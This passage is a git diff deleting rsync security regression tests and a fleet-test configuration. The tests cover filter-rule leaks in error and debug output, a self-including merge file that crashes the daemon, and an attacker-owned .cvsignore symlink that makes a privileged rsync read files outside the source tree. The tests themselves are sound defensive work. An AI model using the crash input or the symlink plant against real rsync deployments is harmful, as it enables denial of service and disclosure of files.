subprocess.run(rsync_argv('-r', '-F', f'{src}/', f'{dest}/'),\n-                    capture_output=True, text=True, timeout=30)\n-assert ok.returncode == 0, f'a valid merge file failed: out={ok.stderr!r}'\n-assert (dest / 'keep.txt').exists() and not (dest / 'drop.tmp').exists(), (\n-    'the valid merge rule was not applied, so the parser is broken')\n-\n-# A merge rule INSIDE a merge file names its own file, so the failed-open\n-# message echoed text that came out of the file being read.  A line of the\n-# target that happens to parse as a merge rule leaks through it.\n-(base / 'outer').write_text(f'. {base}/nested\\n')\n-(base / 'nested').write_text(f'. {SECRET}\\n')\n-got = subprocess.run(\n-    rsync_argv('-r', f'--filter=. {base}/outer', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert got.returncode != 0 and SECRET not in out, (\n-    'a nested merge file named by file content was echoed in the failed-open '\n-    f'message: rc={got.returncode}, out={out!r}')\n-\n-# The reported location must be the file the bad rule is actually IN.  fname\n-# can point into parse_merge_name()'s static buffer, which a merge rule inside\n-# the same file overwrites, so the error blamed the nested file instead.\n-(base / 'child').write_text('- harmless\\n')\n-(base / 'parent').write_text(f'. {base}/child\\nZbad-in-parent\\n')\n-got = subprocess.run(\n-    rsync_argv('-r', f'--filter=. {base}/parent', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert 'parent line 2' in out, (\n-    'the error blames the wrong file or line for a rule that follows a nested '\n-    f'merge, so the location it prints cannot be trusted: out={out!r}')\n-\n-# A CRLF pair is one line ending, not two.\n-(base / 'crlf').write_bytes(b'- harmless\\r\\nZbad-on-line-2\\r\\n')\n-got = subprocess.run(\n-    rsync_argv('-r', f'--filter=. {base}/crlf', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert 'crlf line 2' in out, f'CRLF miscounted the line: out={out!r}'\n-\n-# The FILTER2 traces print rule text as well, so a word-split merge -- whose\n-# every word becomes its own no-prefix rule -- had its contents echoed by\n-# add_rule() with nothing failing to parse at all.\n-(src / '.rsync-filter').write_text(':w- ../secret\\n')\n-got = subprocess.run(\n-    rsync_argv('-r', '-F', '--debug=FILTER2', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert SECRET not in out, (\n-    'the filter debug trace echoed the contents of a merged file, so the '\n-    f'oracle survives with --debug=FILTER2: out={out!r}')\n-\n-# The MATCH traces name the pattern that acted, and a pattern read from a merge\n-# file is that file's text.  This one is not really debug-gated: plain -vv\n-# raises the filter level far enough for a sender or generator to print it, so\n-# a stock client reaches it with no --debug at all.\n-#\n-# The pattern is written as a glob whose LITERAL text cannot appear anywhere\n-# else -- the file it matches is named without the brackets -- so finding it in\n-# the output can only mean the rule text was echoed.\n-PATTERN_TEXT = 'sec[r]et-marker-9x'\n-MATCHED_NAME = 'secret-marker-9x'\n-rmtree(src)\n-makepath(src)\n-(src / 'f').write_bytes(b'keep\\n')\n-(src / MATCHED_NAME).write_bytes(b'hidden\\n')\n-(src / '.rsync-filter').write_text('- ' + PATTERN_TEXT + '\\n')\n-got = subprocess.run(rsync_argv('-r', '-F', '-vv', f'{src}/', f'{dest}/'),\n-                     capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert got.returncode == 0, f'the -vv transfer failed: out={out!r}'\n-assert 'because of' in out, (\n-    f'no match was reported, so this case exercises nothing: out={out!r}')\n-assert PATTERN_TEXT not in out, (\n-    'the match trace echoed a pattern that came from a merge file, which plain '\n-    f'-vv is enough to reach: out={out!r}')\n-assert not (dest / MATCHED_NAME).exists(), (\n-    'the rule did not actually hide the file, so the trace above was not the '\n-    'one this checks')\n-\n-# A deferred per-dir merge (\":\" rule) is parsed long after the file that named\n-# it was read, so the parse-time context is gone by then and the redactions\n-# have to come off the RULE instead.  Two leaks lived here: an over-long\n-# deferred name needed no verbosity at all, and -vvv printed the name plus\n-# whether it opened.\n-rmtree(src)\n-makepath(src / 'sub')\n-(src / 'sub' / 'f').write_bytes(b'x\\n')\n-# The name has to survive parse_filter_str's own MAXPATHLEN check and only\n-# overflow once the scanned directory is prepended, which is a narrow window\n-# whose position depends on the scratch path and the platform's MAXPATHLEN --\n-# so search for it rather than hard-coding a length.\n-maxpath = os.pathconf(str(base), 'PC_PATH_MAX')\n-overflowed = False\n-for slack in range(4, 80, 4):\n-    pad = maxpath - len(str(src)) - slack\n-    if pad < 32:\n-        continue\n-    (src / '.rsync-filter').write_text(': sub/DEFERRED-SECRET-' + 'Q' * pad + '\\n')\n-    got = subprocess.run(rsync_argv('-r', '-F', f'{src}/', f'{dest}/'),\n-                         capture_output=True, text=True, timeout=30)\n-    out = got.stdout + got.stderr\n-    assert 'DEFERRED-SECRET' not in out, (\n-        'an over-long deferred merge name was echoed, with no verbosity '\n-        f'needed: out={out!r}')\n-    if 'merge-file name overflows' in out:\n-        overflowed = True\n-        break\n-assert overflowed, (\n-    'no length reached the deferred merge-name overflow, so that path was '\n-    'never exercised -- widen the search')\n-\n-DEFERRED_NAME = 'named-from-f[i]le-x9'   # the brackets exist only in the file\n-(src / '.rsync-filter').write_text(': ' + DEFERRED_NAME + '\\n')\n-got = subprocess.run(rsync_argv('-r', '-F', '-vvv', f'{src}/', f'{dest}/'),\n-                     capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert DEFERRED_NAME not in out, (\n-    'the deferred per-dir merge name -- which came from a file -- was printed '\n-    f'by the -vvv trace, along with whether it opened: out={out!r}')\n-\n-# Details ABOUT a file-derived rule leak too, so they go through the same\n-# helper: the trailing-whitespace warning is computed from the rule's last\n-# byte, and would otherwise tell a peer whether a hidden rule ended in a space.\n-rmtree(src)\n-makepath(src)\n-(src / 'f').write_bytes(b'x\\n')\n-(src / '.rsync-filter').write_text('- trailing-ws-probe \\n')\n-got = subprocess.run(\n-    rsync_argv('-r', '-F', '--debug=FILTER1', f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert 'trailing-ws-probe' not in out and 'CAUTION' not in out, (\n-    'a property of a file-derived rule (its trailing whitespace) was reported, '\n-    f'which tells the peer about text it cannot otherwise see: out={out!r}')\n-\n-# ...but for the user's OWN rule the warning is exactly what they need.\n-got = subprocess.run(\n-    rsync_argv('-r', '--debug=FILTER1', '--filter=- my-own-rule ',\n-               f'{src}/', f'{dest}/'),\n-    capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert 'CAUTION' in out and 'my-own-rule' in out, (\n-    'the trailing-whitespace warning was lost for an argument-supplied rule, '\n-    f'which is a usability regression: out={out!r}')\n-\n-# An over-long ARGUMENT rule must still be reported at full length -- the\n-# redaction helper must not quietly truncate the user's own text.\n-long_arg = 'ARGLONG-' + 'Q' * (maxpath + 200)\n-got = subprocess.run(rsync_argv('-r', f'--filter=- {long_arg}', f'{src}/', f'{dest}/'),\n-                     capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert 'discarding over-long filter' in out, f'expected the over-long path: out={out!r}'\n-assert out.count('Q') > maxpath, (\n-    'the over-long argument rule was truncated more aggressively than before, '\n-    f'losing the user\\'s own text: {out.count(\"Q\")} Qs of {maxpath + 200}')\n-\n-# The \":e\" modifier synthesizes a SECOND rule -- an exclude for the merge\n-# file's own basename -- by hand, with no template to inherit from.  Built\n-# that way it carried no provenance, so once parsing finished it looked\n-# argument-origin and the match trace printed a merge file's text verbatim.\n-# Plain -vv reaches this; no --debug is involved.\n-#\n-# The pattern is a glob whose literal text cannot appear anywhere else: the\n-# file it matches is named without the brackets, so finding the bracketed\n-# form in the output can only mean the rule text was echoed.\n-SELF_PATTERN = 'excl-self-[x]9'\n-SELF_MATCHED = 'excl-self-x9'\n-rmtree(src)\n-makepath(src)\n-(src / 'f').write_bytes(b'keep\\n')\n-(src / SELF_MATCHED).write_bytes(b'hidden\\n')\n-(src / '.rsync-filter').write_text(':e ' + SELF_PATTERN + '\\n')\n-got = subprocess.run(rsync_argv('-r', '-F', '-vv', f'{src}/', f'{dest}/'),\n-                     capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert got.returncode == 0, f'the :e transfer failed: out={out!r}'\n-assert 'because of' in out, (\n-    f'no match was reported, so this case exercises nothing: out={out!r}')\n-assert SELF_PATTERN not in out, (\n-    'the exclude-self rule that \":e\" builds by hand echoed a merge file\\'s '\n-    f'text at plain -vv, so it carries no provenance: out={out!r}')\n-\n-# A per-directory merge file's fname points INTO dirbuf, which is cut back to\n-# the directory before the location is recorded.  Copying it after the cut\n-# left the location naming the DIRECTORY, losing the filename -- no leak, but\n-# it breaks the \"redact what, keep where\" bargain the rest of this relies on.\n-rmtree(src)\n-makepath(src)\n-(src / 'f').write_bytes(b'x\\n')\n-(src / '.rsync-filter').write_text('Zbad-perdir\\n')\n-got = subprocess.run(rsync_argv('-r', '-F', f'{src}/', f'{dest}/'),\n-                     capture_output=True, text=True, timeout=30)\n-out = got.stdout + got.stderr\n-assert got.returncode != 0 and 'Zbad-perdir' not in out, (\n-    f'the per-dir rule text was echoed: rc={got.returncode}, out={out!r}')\n-assert '.rsync-filter line 1' in out, (\n-    'the location names the directory instead of the merge file, so it no '\n-    f'longer says which file to fix: out={out!r}')\ndiff --git a/testsuite/filter-merge-recursion_test.py b/testsuite/filter-merge-recursion_test.py\ndeleted file mode 100644\nindex d904f50..0000000\n--- a/testsuite/filter-merge-recursion_test.py\n+++ /dev/null\n@@ -1,62 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for unbounded merge-file include recursion in the filter\n-# parser (exclude.c parse_filter_file <-> parse_filter_str).\n-#\n-# A '. file' (merge) directive inside a filter file makes parse_filter_str()\n-# call parse_filter_file() on the named file, which feeds each of its lines\n-# back through parse_filter_str(). Nothing bounded the nesting depth, so a\n-# merge file whose only line re-includes itself recurses until the stack\n-# guard page is hit -> SIGSEGV.\n-#\n-# Threat (code-scanner daemon-protocol fuzzing, June 2026): a malicious client of a\n-# writable daemon module uploads a '.merge' file containing '. .merge' and\n-# drives a transfer with --filter=': .merge'; the generator's per-dir merge\n-# handling in push_local_filters() then re-parses that file forever and the\n-# forked daemon child crashes. The recursion lives in shared filter code, so\n-# we reproduce it with a plain local transfer: a per-dir merge rule\n-# (': .merge') plus a source '.merge' that merges itself.\n-#\n-# Oracle:\n-#   * pre-fix: the sender recurses to stack exhaustion and dies with SIGSEGV\n-#              (the client sees the peer vanish / a signal exit).\n-#   * fixed:   parse_filter_file() caps nesting at MAX_MERGE_DEPTH (32) and,\n-#              on this operator/sender-supplied (XFLG_FATAL_ERRORS) merge,\n-#              exits cleanly with RERR_FILEIO and a depth-limit diagnostic.\n-\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, makepath, rmtree, rsync_argv, test_fail\n-\n-SRC = SCRATCHDIR / 'mergerec-src'\n-DST = SCRATCHDIR / 'mergerec-dst'\n-rmtree(SRC)\n-rmtree(DST)\n-makepath(SRC, DST)\n-\n-# A per-dir merge file that includes itself: '. .merge' re-merges .merge.\n-(SRC / '.merge').write_text(\". .merge\\n\")\n-(SRC / 'file.txt').write_text(\"hello\\n\")\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', '--filter=: .merge', f'{SRC}/', f'{DST}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-# A process killed by a signal shows up as a negative returncode in Python, or\n-# as 128+signal when a child died and the parent reported it. RERR_STREAMIO\n-# (12) with no depth diagnostic means the peer crashed mid-stream.\n-crashed = (proc.returncode < 0 or proc.returncode >= 128\n-           or (proc.returncode == 12\n-               and 'merge-file include depth limit' not in proc.stdout))\n-if crashed:\n-    test_fail(\n-        \"filter merge-file recursion was not capped: rsync died abnormally \"\n-        f\"(rc={proc.returncode}) on a self-including '.merge'. \"\n-        f\"output:\\n{proc.stdout}\")\n-\n-if 'merge-file include depth limit' not in proc.stdout:\n-    test_fail(\n-        \"expected the MAX_MERGE_DEPTH diagnostic; the self-including merge \"\n-        f\"file did not hit the cap (rc={proc.returncode}).\\n{proc.stdout}\")\n-\n-print(\"filter-merge-recursion: self-including merge file is capped at \"\n-      \"MAX_MERGE_DEPTH (clean RERR_FILEIO, no stack-exhaustion crash).\")\ndiff --git a/testsuite/filter-merge-symlink_test.py b/testsuite/filter-merge-symlink_test.py\ndeleted file mode 100644\nindex 4f3dc14..0000000\n--- a/testsuite/filter-merge-symlink_test.py\n+++ /dev/null\n@@ -1,100 +0,0 @@\n-#!/usr/bin/env python3\n-# Per-directory filter merge files (.cvsignore under -C, dir-merge rules)\n-# must not follow a planted symlink at an attacker-controlled path.\n-#\n-# Threat (the \"root runs `rsync -a /home /backup`\" disclosure class):\n-# during a recursive scan the sender opens a per-directory filter file from\n-# EACH source directory (exclude.c:1464 fopen via parse_filter_file, called\n-# from push_local_filters at exclude.c:811-814). The path is composed as\n-# \"<scanned source dir>/<merge pattern>\", so an unprivileged user who\n-# controls a source directory can plant `.cvsignore` (or whatever the\n-# dir-merge filename is) as a symlink to ANY file the privileged rsync can\n-# read. rsync then parses that file's bytes as filter rules -- with two\n-# observable effects:\n-#\n-#   (a) Content shaping. Lines of the planted-target file become filter\n-#       patterns, which affect what does or doesn't transfer; the operator\n-#       cannot easily detect this. (Demonstrated below.)\n-#   (b) Direct disclosure under --debug=FILTER. The parsed rules are\n-#       printed verbatim. (Not exercised here; demonstrated by manual\n-#       inspection.)\n-#\n-# The fix refuses symlinks anywhere in the path unless owned by uid 0 or\n-# our effective uid (the trusted set).  Cross-uid setup is the\n-# realistic threat shape (privileged user runs rsync over an unprivileged\n-# user's tree): the runner is in the trusted set, the planted symlink is\n-# not, so the fix refuses it; parse_filter_file silently skips the file\n-# (XFLG_ANCHORED2ABS, not XFLG_FATAL_ERRORS), no exclude is added, and\n-# the canary transfers normally.\n-#\n-# Requires root to plant a symlink owned by a non-self uid (the attacker\n-# simulation); skips otherwise -- without cross-uid the runner trusts\n-# their own symlinks and the fix has nothing to refuse.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(simulates the 'root runs `rsync -a /home /backup`' case)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-base = SCRATCHDIR / 'filtermerge'\n-src = base / 'src'\n-dest = base / 'dest'\n-outside = base / 'outside'\n-\n-rmtree(base)\n-(src / 'sub').mkdir(parents=True)\n-# A canary the test will look for in the destination. It will be excluded by\n-# rsync IFF a planted .cvsignore symlink is followed and its content (the\n-# pattern below) is applied as a filter rule.\n-(src / 'sub' / 'canary_file').write_text(\"would-be-transferred\\n\")\n-\n-# The attacker-readable \"secret\" outside the source tree. Its contents are a\n-# single CVS-style pattern that exactly matches the canary's basename.\n-outside.mkdir(parents=True)\n-(outside / 'attacker_target').write_text(\"canary_file\\n\")\n-\n-# Plant: src/sub/.cvsignore is a symlink to the outside file, OWNED BY THE\n-# ATTACKER (NOBODY_UID). With -C, rsync normally reads .cvsignore as filter\n-# rules per directory; a privileged rsync over an unprivileged-user-controlled\n-# source thus reads the symlink's target unless defended.\n-plant = src / 'sub' / '.cvsignore'\n-os.symlink('../../outside/attacker_target', plant)\n-os.lchown(plant, NOBODY_UID, NOBODY_UID)\n-\n-dest.mkdir(parents=True)\n-\n-# -aC -- preserve everything + cvs-exclude (reads .cvsignore per dir).\n-# The transfer itself succeeds either way; the question is whether the planted\n-# .cvsignore was followed and its content applied as filter rules.\n-subprocess.run(\n-    rsync_argv('-aC', f'{src}/', f'{dest}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-\n-if not (dest / 'sub' / 'canary_file').exists():\n-    test_fail(\n-        f\"per-dir merge file .cvsignore (planted as a symlink owned by uid \"\n-        f\"{NOBODY_UID}) was followed: rsync read the symlink's target outside \"\n-        f\"the source tree and applied its content as a filter rule, dropping \"\n-        f\"src/sub/canary_file from the transfer. The operator-controlled \"\n-        f\"path was bypassed via an unprivileged-user-planted symlink. Fix: \"\n-        f\"refuse symlinks owned by untrusted uids at the per-dir merge open.\"\n-    )\ndiff --git a/testsuite/fleettest.json.example b/testsuite/fleettest.json.example\ndeleted file mode 100644\nindex d8b3b29..0000000\n--- a/testsuite/fleettest.json.example\n+++ /dev/null\n@@ -1,285 +0,0 @@\n-{\n-  \"_comment\": [\n-    \"Example fleet definition for testsuite/fleettest.py -- this is one\",\n-    \"maintainer's setup. Copy (or symlink) this file to testsuite/fleettest.json\",\n-    \"and edit it for your own machines, or point at another file with --fleet PATH.\",\n-    \"fleettest.json is git-ignored; this .example is the committed template.\",\n-    \"\",\n-    \"Each object under \\\"targets\\\" maps to fields of the Target dataclass in\",\n-    \"fleettest.py. Required: name, ssh_host (null = run locally), workflow\",\n-    \"(a file under .github/workflows, whose configure flags and RSYNC_EXPECT_SKIPPED\",\n-    \"this target mirrors), configure_flags. Optional (with defaults): make (\\\"make\\\"),\",\n-    \"python (\\\"python3\\\"), rsync_bin (\\\"rsync\\\"; \\\"rsync.exe\\\" on Cygwin), privilege\",\n-    \"(\\\"root\\\" | \\\"sudo\\\" | \\\"user\\\"), pipe_jobs/tcp_jobs (8), builddir (\\\"rsync-citest\\\",\",\n-    \"relative to the remote $HOME), env_prefix, configure_pre, nonroot, protocols,\",\n-    \"max_retry.\",\n-    \"\",\n-    \"nonroot: true reruns -- as the non-root ssh user, after the sudo runs -- the\",\n-    \"tests that declare `fleet_nonroot = True` at module level (so the set is\",\n-    \"maintained in the test files, not here).\",\n-    \"\",\n-    \"protocols: [30, 29] adds one extra stdio-pipe test pass per listed version,\",\n-    \"each run with runtests --protocol=N (the fleet analogue of a workflow's\",\n-    \"check30/check29 steps) and shown as a protoNN column.\",\n-    \"\",\n-    \"max_retry: N (default 0) re-runs each failed test on its own up to N more\",\n-    \"times and drops any that then pass (listed under RECOVERED, not hidden). Use\",\n-    \"on a slow/loaded box where concurrency-sensitive tests occasionally flake,\",\n-    \"instead of dropping the whole target to a lower pipe_jobs/tcp_jobs.\",\n-    \"\",\n-    \"Keys starting with \\\"_\\\" are comments. See testsuite/README.md.\"\n-  ],\n-  \"targets\": [\n-    {\n-      \"name\": \"freebsd\",\n-      \"ssh_host\": \"root@freebsd\",\n-      \"workflow\": \"freebsd-build.yml\",\n-      \"make\": \"gmake\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\",\n-        \"--disable-zstd\",\n-        \"--disable-md2man\",\n-        \"--disable-xxhash\",\n-        \"--disable-lz4\",\n-        \"--disable-idn\"\n-      ]\n-    },\n-    {\n-      \"name\": \"solaris\",\n-      \"ssh_host\": \"root@solaris\",\n-      \"workflow\": \"solaris-build.yml\",\n-      \"make\": \"gmake\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\",\n-        \"--disable-zstd\",\n-        \"--disable-md2man\",\n-        \"--disable-xxhash\",\n-        \"--disable-lz4\",\n-        \"--disable-idn\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Nested-VM OpenBSD. max_retry re-runs a flaky test on its own. The daemon+flipper symlink-race tests are excluded here: this box's kernel has a connect()-under-rename-load lost-wakeup (and an FFS rename-storm corruption) that hangs them for non-rsync reasons (see dev-notes/openbsd-connect-lost-wakeup-report.txt); the protections they check are verified on the Linux/BSD boxes.\",\n-      \"name\": \"openbsd\",\n-      \"ssh_host\": \"root@openbsd\",\n-      \"workflow\": \"openbsd-build.yml\",\n-      \"make\": \"gmake\",\n-      \"configure_pre\": \"export AUTOCONF_VERSION=2.71 AUTOMAKE_VERSION=1.16;\",\n-      \"max_retry\": 2,\n-      \"exclude\": [\n-        \"acl-symlink-race\",\n-        \"sender-readlink-atfd\",\n-        \"sender-remove-source-secure\"\n-      ],\n-      \"configure_flags\": [\n-        \"--with-rrsync\",\n-        \"--disable-zstd\",\n-        \"--disable-md2man\",\n-        \"--disable-xxhash\",\n-        \"--disable-lz4\",\n-        \"--disable-idn\"\n-      ]\n-    },\n-    {\n-      \"name\": \"netbsd\",\n-      \"ssh_host\": \"root@netbsd\",\n-      \"workflow\": \"netbsd-build.yml\",\n-      \"make\": \"gmake\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\",\n-        \"--disable-zstd\",\n-        \"--disable-md2man\",\n-        \"--disable-xxhash\",\n-        \"--disable-lz4\",\n-        \"--disable-idn\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Ubuntu 18.04 older-LTS backport coverage on a root@ box; no 18.04 runner image exists so it mirrors the 22.04 workflow.\",\n-      \"name\": \"ubuntu-1804\",\n-      \"ssh_host\": \"root@ubuntu-1804\",\n-      \"workflow\": \"ubuntu-22.04-build.yml\",\n-      \"_python_comment\": \"18.04's default python3 is 3.6, but runtests.py uses subprocess capture_output (3.7+); run the suite under the 3.10 that's also installed.\",\n-      \"python\": \"python3.10\",\n-      \"_configure_flags_comment\": \"18.04's libzstd 1.3.3 lacks ZSTD_minCLevel (configure aborts), so disable zstd; also disable lz4 so the default -z compressor is zlib -- with lz4 as the default, compress-options' --compress-level=9 check fails since lz4 has no levels. xxhash is fine.\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\",\n-        \"--disable-zstd\",\n-        \"--disable-lz4\"\n-      ],\n-      \"_expect_skip_extra_comment\": \"protected-regular's fs.protected_regular path is not exercised on this box.\",\n-      \"expect_skip_extra\": [\n-        \"protected-regular\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Ubuntu 20.04 older-LTS backport coverage on a root@ box; no 20.04 runner image exists so it mirrors the 22.04 workflow.\",\n-      \"name\": \"ubuntu-2004\",\n-      \"ssh_host\": \"root@ubuntu-2004\",\n-      \"workflow\": \"ubuntu-22.04-build.yml\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Builds unprivileged (like a CI runner) and runs the suite via sudo; the nonroot pass reruns the privilege-sensitive tests as the ssh user. protocols: [30, 29] runs the check30/check29 passes on this NO-xattrat kernel: the CI's proto-29 step runs here, but the only other proto-29 fleet box (ubuntu-2604) is xattrat, so without this the (no-xattrat x proto-29) cell is uncovered.\",\n-      \"name\": \"ubuntu-2204\",\n-      \"ssh_host\": \"runner@ubuntu-2204\",\n-      \"workflow\": \"ubuntu-22.04-build.yml\",\n-      \"privilege\": \"sudo\",\n-      \"nonroot\": true,\n-      \"protocols\": [\n-        30,\n-        29\n-      ],\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Noble (24.04), kernel 6.8 -- a NO-xattrat kernel like ubuntu-2204 but with modern userspace; mirrors ubuntu-build.yml.\",\n-      \"name\": \"ubuntu-2404\",\n-      \"ssh_host\": \"runner@ubuntu-2404\",\n-      \"workflow\": \"ubuntu-build.yml\",\n-      \"privilege\": \"sudo\",\n-      \"nonroot\": true,\n-      \"protocols\": [\n-        30,\n-        29\n-      ],\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Modern Ubuntu (mirrors ubuntu-build.yml). protocols: [30, 29] also runs the workflow's check30/check29 passes as extra stdio-pipe runs.\",\n-      \"name\": \"ubuntu-2604\",\n-      \"ssh_host\": \"runner@ubuntu-2604\",\n-      \"workflow\": \"ubuntu-build.yml\",\n-      \"privilege\": \"sudo\",\n-      \"nonroot\": true,\n-      \"protocols\": [\n-        30,\n-        29\n-      ],\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"AlmaLinux 8 (RHEL 8 rebuild): the oldest active LTS in the Fedora/RHEL family, for backport coverage. glibc 2.28 / gcc 8.5. The CI job runs in an almalinux:8 container; this is the VM equivalent. python3 must be the python39 module (alternatives --set python3 /usr/bin/python3.9) -- the stock 3.6 is too old for runtests.py.\",\n-      \"name\": \"almalinux-8\",\n-      \"ssh_host\": \"root@almalinux-8\",\n-      \"workflow\": \"almalinux-8-build.yml\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ],\n-      \"_expect_skip_extra_comment\": \"Box-specific, not workflow-specific: this VM has no separate filesystem for a cross-device temp dir. fs.protected_regular is enabled in /etc/sysctl.d/90-rsync-fleettest.conf so protected-regular runs here rather than skipping.\",\n-      \"expect_skip_extra\": [\n-        \"chmod-temp-dir\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"macOS: brew is not on the non-interactive ssh PATH, so put it on PATH for the whole build and pass brew include/lib dirs to configure.\",\n-      \"name\": \"mac2\",\n-      \"ssh_host\": \"runner@mac2\",\n-      \"workflow\": \"macos-build.yml\",\n-      \"privilege\": \"sudo\",\n-      \"env_prefix\": \"export PATH=/opt/homebrew/bin:/usr/local/bin:$PATH\",\n-      \"configure_pre\": \"CPPFLAGS=\\\"-I$(brew --prefix)/include -I$(brew --prefix openssl)/include\\\"; LDFLAGS=\\\"-L$(brew --prefix)/lib -L$(brew --prefix openssl)/lib\\\"; export CPPFLAGS LDFLAGS;\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ],\n-      \"_xfail_comment\": \"crtimes uses APFS birthtime via setattrlist; older backport binaries (3.4.x/3.2.7) drive it differently than current rsync, so the 3.5.0 testsuite's crtimes check fails here. Tolerated -- it passes for a current binary, where this entry is a no-op.\",\n-      \"xfail\": [\n-        \"crtimes\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Same host and build as mac2, but the tests' scratch trees live on an HFS+ volume instead of APFS -- runtests.py honours $scratchbase, so only the data under test moves.  The setup VERIFIES the mount rather than assuming it: a stale directory or a name collision mounting at 'RsyncHFS 1' would otherwise leave the tests on APFS reporting green, which is exactly how the first version of this target lied.  Ownership must be on too: a user-attached image mounts 'noowners', under which every uid/gid and permission check is meaningless -- that alone caused 28 of the 31 failures the first honest run produced.\",\n-      \"name\": \"mac2-hfs\",\n-      \"ssh_host\": \"runner@mac2\",\n-      \"workflow\": \"macos-build.yml\",\n-      \"privilege\": \"sudo\",\n-      \"env_prefix\": \"export PATH=/opt/homebrew/bin:/usr/local/bin:$PATH; if ! mount | grep -q 'on /Volumes/RsyncHFS (hfs'; then [ -f ~/hfsplus.dmg ] || hdiutil create -size 3g -fs 'HFS+' -volname RsyncHFS -quiet ~/hfsplus.dmg; hdiutil attach -quiet ~/hfsplus.dmg; fi; mount | grep -q 'on /Volumes/RsyncHFS (hfs' || { echo 'FATAL: /Volumes/RsyncHFS is not a mounted HFS+ volume' >&2; exit 9; }; sudo -n diskutil enableOwnership /Volumes/RsyncHFS >/dev/null || { echo 'FATAL: could not enable ownership on /Volumes/RsyncHFS' >&2; exit 9; }; mount | grep 'on /Volumes/RsyncHFS (hfs' | grep -q noowners && { echo 'FATAL: /Volumes/RsyncHFS still mounted noowners' >&2; exit 9; } || true\",\n-      \"configure_pre\": \"CPPFLAGS=\\\"-I$(brew --prefix)/include -I$(brew --prefix openssl)/include\\\"; LDFLAGS=\\\"-L$(brew --prefix)/lib -L$(brew --prefix openssl)/lib\\\"; export CPPFLAGS LDFLAGS;\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\"\n-      ],\n-      \"_xfail_comment\": \"Same APFS birthtime caveat as mac2.\",\n-      \"xfail\": [\n-        \"crtimes\"\n-      ],\n-      \"scratchbase\": \"/Volumes/RsyncHFS\",\n-      \"expect_skip_omit\": [\n-        \"backup-crossdev-copy\",\n-        \"chmod-temp-dir\"\n-      ],\n-      \"_skip_comment\": \"The two omitted entries are macOS-wide expected-skips that this target RUNS: the separate volume supplies the cross-device conditions mac2 lacks. (itemize used to XFAIL here, before --link-dest learned to fall back when the filesystem cannot hard-link a symlink.)\"\n-    },\n-    {\n-      \"_comment\": \"The x86-64 Mac (macOS 10.13).  The ONLY target that can build the x86-64 md5 assembly -- mac2 is arm64, where configure refuses --enable-md5-asm outright.  MacPorts supplies autotools, python3 and the crypto/hash libs the stock 10.13 image lacks, and is not on the non-interactive ssh PATH, so put it there for the whole run.  This target keeps the STOCK Apple compiler (clang 10, the 10.13 ceiling), which is what caught #161; it cannot build --enable-roll-simd, because a clang that old rejects configure's target(\\\"default\\\") multiversioning probe. That is a compiler-VERSION limit, not a Mach-O one -- see mac-x86-asm below, which builds the same source with MacPorts clang 19 and all three optimizations on.\",\n-      \"name\": \"mac-x86\",\n-      \"ssh_host\": \"tridge@mac\",\n-      \"workflow\": \"macos-build.yml\",\n-      \"privilege\": \"sudo\",\n-      \"configure_flags\": [\n-        \"--with-rrsync\",\n-        \"--enable-md5-asm\",\n-        \"--disable-md2man\"\n-      ],\n-      \"_xfail_comment\": \"Same APFS birthtime caveat as mac2.\",\n-      \"xfail\": [\n-        \"crtimes\"\n-      ],\n-      \"env_prefix\": \"export PATH=/opt/local/bin:/opt/local/sbin:$PATH\",\n-      \"configure_pre\": \"CPPFLAGS=\\\"-I/opt/local/include\\\"; LDFLAGS=\\\"-L/opt/local/lib\\\"; export CPPFLAGS LDFLAGS;\",\n-      \"expect_skip_extra\": [\n-        \"symlink-mknod-fakesuper-symlink-race\"\n-      ],\n-      \"expect_skip_omit\": [\n-        \"sender-remove-source-root-anchor\"\n-      ]\n-    },\n-    {\n-      \"_comment\": \"Same host and 